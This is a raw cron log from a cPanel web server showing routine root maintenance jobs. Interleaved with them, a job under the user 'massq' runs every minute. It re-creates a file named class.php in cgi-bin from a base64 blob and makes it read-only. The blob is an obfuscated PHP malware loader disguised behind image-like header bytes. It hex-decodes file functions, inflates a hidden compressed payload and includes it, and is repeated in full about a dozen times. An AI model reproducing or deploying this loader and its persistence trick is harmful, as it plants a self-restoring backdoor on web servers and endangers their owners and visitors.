Sep  3 12:40:01 server CROND[28087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:40:01 server CROND[28085]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 12:40:01 server CROND[28088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:40:01 server CROND[28086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:41:01 server CROND[28925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:41:01 server CROND[28924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:41:01 server CROND[28926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:42:01 server CROND[29311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:42:01 server CROND[29312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:42:01 server CROND[29313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:42:01 server CROND[29314]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 12:43:01 server CROND[29723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:43:01 server CROND[29724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:43:01 server CROND[29725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:44:01 server CROND[30099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:44:01 server CROND[30100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:44:01 server CROND[30101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:45:01 server CROND[30581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:45:01 server CROND[30584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:45:01 server CROND[30583]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:45:01 server CROND[30588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:45:01 server CROND[30589]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 12:45:01 server CROND[30585]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 12:45:01 server CROND[30587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:46:01 server CROND[31406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:46:01 server CROND[31407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:46:01 server CROND[31408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:47:01 server CROND[31792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:47:01 server CROND[31793]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:47:01 server CROND[31794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:48:01 server CROND[32174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:48:01 server CROND[32176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:48:01 server CROND[32177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:49:01 server CROND[32550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:49:01 server CROND[32551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:49:01 server CROND[32552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:50:01 server CROND[584]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 12:50:01 server CROND[585]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 12:50:01 server CROND[604]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 12:50:01 server CROND[608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:50:01 server CROND[610]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:50:01 server CROND[618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:50:01 server CROND[616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:50:01 server CROND[609]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:50:01 server CROND[614]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 12:51:01 server CROND[1545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:51:01 server CROND[1547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:51:01 server CROND[1546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:52:01 server CROND[1923]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:52:01 server CROND[1924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:52:01 server CROND[1927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
